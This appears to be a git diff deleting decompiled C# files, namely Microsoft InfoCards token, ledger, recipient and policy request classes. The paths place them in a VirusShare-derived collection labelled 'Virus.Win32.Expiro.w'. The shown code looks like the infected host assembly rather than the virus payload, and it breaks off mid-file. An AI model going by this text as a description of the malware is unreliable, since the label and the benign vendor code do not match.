inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - } - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs, Encoding.Unicode).Write(this.ParentRequest is GetBrowserTokenRequest); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetKeyedHashRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetKeyedHashRequest.cs deleted file mode 100644 index 8d8e9bdc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetKeyedHashRequest.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetKeyedHashRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetKeyedHashRequest : ClientRequest - { - private int m_cryptoSession; - private HashCryptoSession m_hashSession; - - public GetKeyedHashRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - this.m_cryptoSession = new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadInt32(); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - } - - protected override void OnProcess() => this.m_hashSession = ((SymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).GetKeyedHash(); - - protected override void OnMarshalOutArgs() - { - BinaryWriter bwriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - this.m_hashSession.Write(bwriter); - bwriter.Flush(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetLastErrorDetailsRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetLastErrorDetailsRequest.cs deleted file mode 100644 index 4793f1e7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetLastErrorDetailsRequest.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetLastErrorDetailsRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetLastErrorDetailsRequest : UIAgentRequest - { - public GetLastErrorDetailsRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - binaryWriter.Write(this.ParentRequest is GetBrowserTokenRequest); - int num = -1073413888; - Exception exception1 = this.ParentRequest.ProcessingException; - if (exception1 != null) - { - Exception exception2 = (Exception) null; - for (; exception1 is InfoCardBaseException; exception1 = exception1.InnerException) - { - exception2 = exception1; - if (exception1.InnerException == null) - break; - } - if (exception2 != null) - num = (exception2 as InfoCardBaseException).NativeHResult; - } - binaryWriter.Write(num); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetLedgerEntryForRecipientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetLedgerEntryForRecipientRequest.cs deleted file mode 100644 index 4cd72cc4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetLedgerEntryForRecipientRequest.cs +++ /dev/null @@ -1,76 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetLedgerEntryForRecipientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetLedgerEntryForRecipientRequest : UIAgentRequest - { - private Uri m_cardId; - private string m_recipientId; - private byte[] m_bytes; - - public GetLedgerEntryForRecipientRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(this.InArgs.Length > 0L, "The user preferences must be specified"); - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_cardId = Utility.DeserializeUri(reader); - this.m_recipientId = Utility.DeserializeString(reader); - } - - protected override void OnProcess() - { - InfoCardTrace.Assert((Uri) null != this.m_cardId, "The card Id must not be null"); - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_recipientId), "The thumbPrint must be specified"); - List queryParameterList = new List(); - queryParameterList.Add(new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - })); - queryParameterList.Add(new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_cardId.ToString()) - })); - queryParameterList.Add(new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - })); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - DataRow singleRow = connection.GetSingleRow(queryParameterList.ToArray()); - if (singleRow == null) - return; - this.m_bytes = singleRow.GetDataField(); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - if (this.m_bytes == null) - return; - this.OutArgs.Write(this.m_bytes, 0, this.m_bytes.Length); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetLedgerRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetLedgerRequest.cs deleted file mode 100644 index 8df19e13..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetLedgerRequest.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetLedgerRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetLedgerRequest : UIAgentRequest - { - private Uri m_cardId; - private LedgerEntryCollection m_ledger; - - public GetLedgerRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - InfoCardTrace.Assert(IntPtr.Zero != rpcHandle, "Null rpc handle"); - InfoCardTrace.Assert(null != inArgs, "Null inArgs"); - InfoCardTrace.Assert(null != outArgs, "Null out args"); - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(null != this.InArgs, "null request argument"); - this.m_cardId = Utility.DeserializeUri((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - } - - protected override void OnProcess() - { - InfoCardTrace.Assert((Uri) null != this.m_cardId, "No CardId passed to GetLedgerRequest"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_ledger = new LedgerEntryCollection(this.m_cardId); - this.m_ledger.Get(connection); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - InfoCardTrace.Assert(null != this.m_ledger, "No ledger collection exists to be serialized"); - this.m_ledger.Serialize(this.OutArgs); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetPolicyDetailsRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetPolicyDetailsRequest.cs deleted file mode 100644 index b2356301..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetPolicyDetailsRequest.cs +++ /dev/null @@ -1,106 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetPolicyDetailsRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetPolicyDetailsRequest : UIAgentRequest - { - private InfoCardPolicy m_policy; - private Recipient m_recipient; - private string m_privacyPolicyLink = string.Empty; - - public GetPolicyDetailsRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() - { - base.OnInitializeAsSystem(); - this.m_policy = this.GetPolicy(); - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - InfoCardTrace.Assert(null != this.m_policy, "Null policy"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - DataRow singleRow = connection.GetSingleRow(new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), - new QueryParameter("ix_name", new object[1] - { - (object) this.m_policy.Recipient.GetIdentifier() - }) - }.ToArray()); - if (this.m_policy.Recipient is X509RecipientIdentity recipient) - this.ParentRequest.CertCacheAdd(this.m_policy.Recipient.GetIdentifier(), recipient.LeafCertificate); - if (singleRow != null) - { - this.m_recipient = new Recipient((Stream) new MemoryStream(singleRow.GetDataField()), this.m_policy.Recipient, true); - if (this.m_recipient.Trust == Recipient.TrustDecision.IsTrusted && (int) this.m_recipient.PrivacyPolicyVersion != (int) this.m_policy.PrivacyPolicyVersion) - this.m_recipient.Trust = Recipient.TrustDecision.PolicyVersionChange; - this.m_recipient.PrivacyPolicyVersion = this.m_policy.PrivacyPolicyVersion; - } - else - { - this.m_recipient = new Recipient(this.m_policy.Recipient, true, this.m_policy.PrivacyPolicyVersion); - this.m_recipient.Trust = Recipient.TrustDecision.NoTrustDecision; - } - this.m_privacyPolicyLink = this.m_policy.PrivacyPolicyLink; - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - InfoCardTrace.Assert(null != this.m_policy, "Null policy"); - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - writer.Write(this.m_policy.RequiresManagedCard); - writer.Write(this.m_policy.RequiresSelfIssuedCard); - writer.Write(this.ParentRequest is GetBrowserTokenRequest); - this.m_recipient.Serialize(writer); - Utility.SerializeString(writer, this.m_privacyPolicyLink); - if (this.m_policy.RequiredClaims != null) - { - writer.Write(this.m_policy.RequiredClaims.Length); - for (int index = 0; index < this.m_policy.RequiredClaims.Length; ++index) - Utility.SerializeString(writer, this.m_policy.RequiredClaims[index]); - } - else - writer.Write(0); - if (this.m_policy.OptionalClaims != null) - { - writer.Write(this.m_policy.OptionalClaims.Length); - for (int index = 0; index < this.m_policy.OptionalClaims.Length; ++index) - Utility.SerializeString(writer, this.m_policy.OptionalClaims[index]); - } - else - writer.Write(0); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetRecipientListRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetRecipientListRequest.cs deleted file mode 100644 index 550f8c1c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetRecipientListRequest.cs +++ /dev/null @@ -1,68 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetRecipientListRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetRecipientListRequest : UIAgentRequest - { - private IList m_recipientList; - - public GetRecipientListRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - IList dataRowList = (IList) connection.Query(QueryDetails.FullRow, new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - })); - if (dataRowList == null) - return; - IList recipientList = (IList) new List(dataRowList.Count); - foreach (DataRow dataRow in (IEnumerable) dataRowList) - recipientList.Add(new Recipient((Stream) new MemoryStream(dataRow.GetDataField()))); - this.m_recipientList = recipientList; - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - uint num = 0; - if (this.m_recipientList != null) - { - uint count = (uint) this.m_recipientList.Count; - writer.Write(count); - foreach (Recipient recipient in (IEnumerable) this.m_recipientList) - recipient.Serialize(writer); - } - else - writer.Write(num); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetRecipientRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetRecipientRequest.cs deleted file mode 100644 index 5be9f0ce..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetRecipientRequest.cs +++ /dev/null @@ -1,65 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetRecipientRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class GetRecipientRequest : UIAgentRequest - { - private string m_recipientId; - private Recipient m_recipient; - - public GetRecipientRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() => this.m_recipientId = Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - InfoCardTrace.Assert(null != this.m_recipientId, "null thumb print"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - DataRow singleRow = connection.GetSingleRow(new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), - new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - }) - }.ToArray()); - if (singleRow == null) - return; - this.m_recipient = new Recipient((Stream) new MemoryStream(singleRow.GetDataField())); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - BinaryWriter writer = new BinaryWriter(this.OutArgs, Encoding.Unicode); - InfoCardTrace.Assert(null != this.m_recipient, "null recipient"); - this.m_recipient.Serialize(writer); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetTokenRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetTokenRequest.cs deleted file mode 100644 index ae050e1a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetTokenRequest.cs +++ /dev/null @@ -1,258 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetTokenRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Net; -using System.Security.Cryptography; -using System.Security.Principal; -using System.ServiceModel.Description; -using System.Text; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal class GetTokenRequest : ClientUIRequest - { - private InfoCardPolicy[] m_policyChain; - private InfoCardPolicy m_policy; - private TokenDescriptor m_token; - private ITokenFactory m_tokenFactory; - private LedgerEntry m_ledgerEntry; - private InfoCard m_selectedCard; - private Recipient m_recipient; - private object m_createSecurityTokenDoneMonitor = new object(); - private bool m_isProcessingComplete = true; - private bool m_userProceededToCreateToken; - - public GetTokenRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, uiAgent, rpcHandle, inArgs, outArgs, InfoCardUIAgent.CallMode.GetToken, ExceptionList.AllNonFatal) - { - } - - public TokenDescriptor Token => this.m_token; - - public InfoCardPolicy Policy - { - get => this.m_policy; - protected set => this.m_policy = value; - } - - protected Recipient GetRecipient() - { - if (this.m_recipient == null) - this.m_recipient = new Recipient(this.m_policy.Recipient, false, this.m_policy.PrivacyPolicyVersion); - return this.m_recipient; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - int length = reader.ReadInt32(); - this.m_policyChain = length > 0 && length <= 50 ? new InfoCardPolicy[length] : throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidPolicyLength"))); - for (int index = 0; index < length; ++index) - { - string recipientXml = Utility.DeserializeString(reader); - string issuerXml = Utility.DeserializeString(reader); - string policyXml = Utility.DeserializeString(reader); - string privacyUrl = Utility.DeserializeString(reader); - uint privacyVersion = reader.ReadUInt32(); - bool isManaged = reader.ReadBoolean(); - this.m_policyChain[index] = PolicyFactory.CreatePolicyForGetTokenRequest(reader, recipientXml, issuerXml, policyXml, isManaged); - if (index == 0) - this.m_policyChain[index].SetRecipientInfo(this.m_policyChain[0].ImmediateTokenRecipient, privacyUrl, privacyVersion); - else - this.m_policyChain[index].SetRecipientInfo(this.m_policyChain[0].ImmediateTokenRecipient, this.m_policyChain[0].PrivacyPolicyLink, this.m_policyChain[0].PrivacyPolicyVersion); - } - int index1 = length - 1; - if (this.m_policyChain[index1].IsManaged) - { - if (index1 == 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidPolicyLength"))); - --index1; - } - this.m_policy = this.m_policyChain[index1]; - this.m_policy.Validate(); - } - - protected override void OnProcess() => this.StartAndWaitForUIAgent(); - - protected override void OnMarshalOutArgs() - { - BinaryWriter bwriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - this.m_token.Write(bwriter); - SymmetricAlgorithm symmetricProof = this.m_token.SymmetricProof; - (symmetricProof != null ? CryptoSession.Create(this.CallerProcess, this.m_token.ExpirationTime, this.RequestorIdentity, symmetricProof.Key) : CryptoSession.Create(this.CallerProcess, this.m_token.ExpirationTime, this.RequestorIdentity, this.GetPrivateCryptography())).Write(bwriter); - } - - protected RSACryptoServiceProvider GetPrivateCryptography() => this.m_selectedCard.GetPrivateCryptography(this.GetRecipient().RecipientId); - - protected override void OnDisposeAsUser() - { - base.OnDisposeAsUser(); - if (this.m_token == null) - return; - this.m_token.Dispose(); - this.m_token = (TokenDescriptor) null; - } - - public void CancelSelectCard() - { - this.m_userProceededToCreateToken = false; - this.m_isProcessingComplete = true; - } - - public int SelectCard(InfoCard card, bool isSelfIssued) - { - lock (this.m_createSecurityTokenDoneMonitor) - { - while (this.m_userProceededToCreateToken && !this.m_isProcessingComplete) - Monitor.Wait(this.m_createSecurityTokenDoneMonitor); - this.m_userProceededToCreateToken = false; - this.m_isProcessingComplete = false; - int index1 = 0; - TokenCreationParameter parameter = (TokenCreationParameter) null; - ServiceEndpoint endPoint = (ServiceEndpoint) null; - IWebProxy proxy = (IWebProxy) null; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - card.Connection = connection; - if (!isSelfIssued) - { - if (1 == card.CreationParameters.Count) - { - index1 = 0; - parameter = card.CreationParameters[index1]; - } - else - { - for (int index2 = 0; index2 < card.CreationParameters.Count; ++index2) - { - try - { - endPoint = RemoteTokenFactory.DoMexExchange(card.CreationParameters[index2], this.UserProxy); - index1 = index2; - parameter = card.CreationParameters[index1]; - break; - } - catch (TrustExchangeException ex) - { - if (index2 == card.CreationParameters.Count - 1) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidServiceUri"))); - } - } - } - proxy = this.UserProxy; - } - } - finally - { - connection.Close(); - } - this.m_tokenFactory = TokenFactoryFactory.Create(card, parameter, endPoint, proxy); - this.m_selectedCard = card; - return index1; - } - } - - public void CancelCreateSecurityToken() - { - if (this.m_tokenFactory != null) - this.m_tokenFactory.Abort(); - this.m_userProceededToCreateToken = true; - } - - public DisplayToken CreateSecurityToken( - TokenFactoryCredential credential, - bool discloseOptional) - { - lock (this.m_createSecurityTokenDoneMonitor) - { - try - { - this.m_ledgerEntry = this.GetLedgerEntry(); - if (this.m_token != null) - { - this.m_token.Dispose(); - this.m_token = (TokenDescriptor) null; - } - using (credential) - this.m_token = this.m_tokenFactory.CreateToken(this.m_selectedCard, credential, this.m_policy, discloseOptional); - this.m_ledgerEntry.DisclosureDate = DateTime.UtcNow; - this.m_ledgerEntry.DisclosedClaims = new string[this.m_token.DisclosedClaims.Count]; - for (int index = 0; index < this.m_token.DisclosedClaims.Count; ++index) - this.m_ledgerEntry.DisclosedClaims[index] = this.m_token.DisclosedClaims[index]; - Array.Clear((Array) this.m_selectedCard.Key, 0, this.m_selectedCard.Key.Length); - return this.m_token.DisplayToken; - } - finally - { - this.m_isProcessingComplete = true; - this.m_userProceededToCreateToken = true; - Monitor.Pulse(this.m_createSecurityTokenDoneMonitor); - } - } - } - - private LedgerEntry GetLedgerEntry() - { - LedgerEntry entry = (LedgerEntry) null; - StoreConnection connection = StoreConnection.GetConnection(); - try - { - entry = this.m_selectedCard.TryGetLedgerEntry(connection, this.m_policy.Recipient.GetIdentifier()); - if (entry == null) - entry = this.m_selectedCard.CreateLedgerEntry(this.GetRecipient(), this.m_policy.ImmediateTokenRecipient.GetOrganizationIdentifier()); - else - this.m_selectedCard.CheckAndUpdateLedgerEntry(entry, this.m_policy.ImmediateTokenRecipient.GetOrganizationIdentifier()); - } - finally - { - connection.Close(); - } - return entry; - } - - public void SaveLedgerEntry() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - this.m_ledgerEntry.Save(connection); - connection.CommitTransaction(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - public enum TrustDecision : byte - { - NoTrustDecision, - IsTrusted, - IsNotTrusted, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetUserPreferenceRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetUserPreferenceRequest.cs deleted file mode 100644 index 6ec8f689..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetUserPreferenceRequest.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GetUserPreferenceRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class GetUserPreferenceRequest : UIAgentRequest - { - private UserPreference m_userPreference; - - public GetUserPreferenceRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - this.m_userPreference = (UserPreference) null; - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_userPreference = UserPreference.Get(connection); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - if (this.m_userPreference == null) - return; - this.m_userPreference.Serialize(this.OutArgs); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GlobalId.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GlobalId.cs deleted file mode 100644 index 2f9fe904..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GlobalId.cs +++ /dev/null @@ -1,120 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.GlobalId -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct GlobalId - { - public const int StructSize = 16; - public static 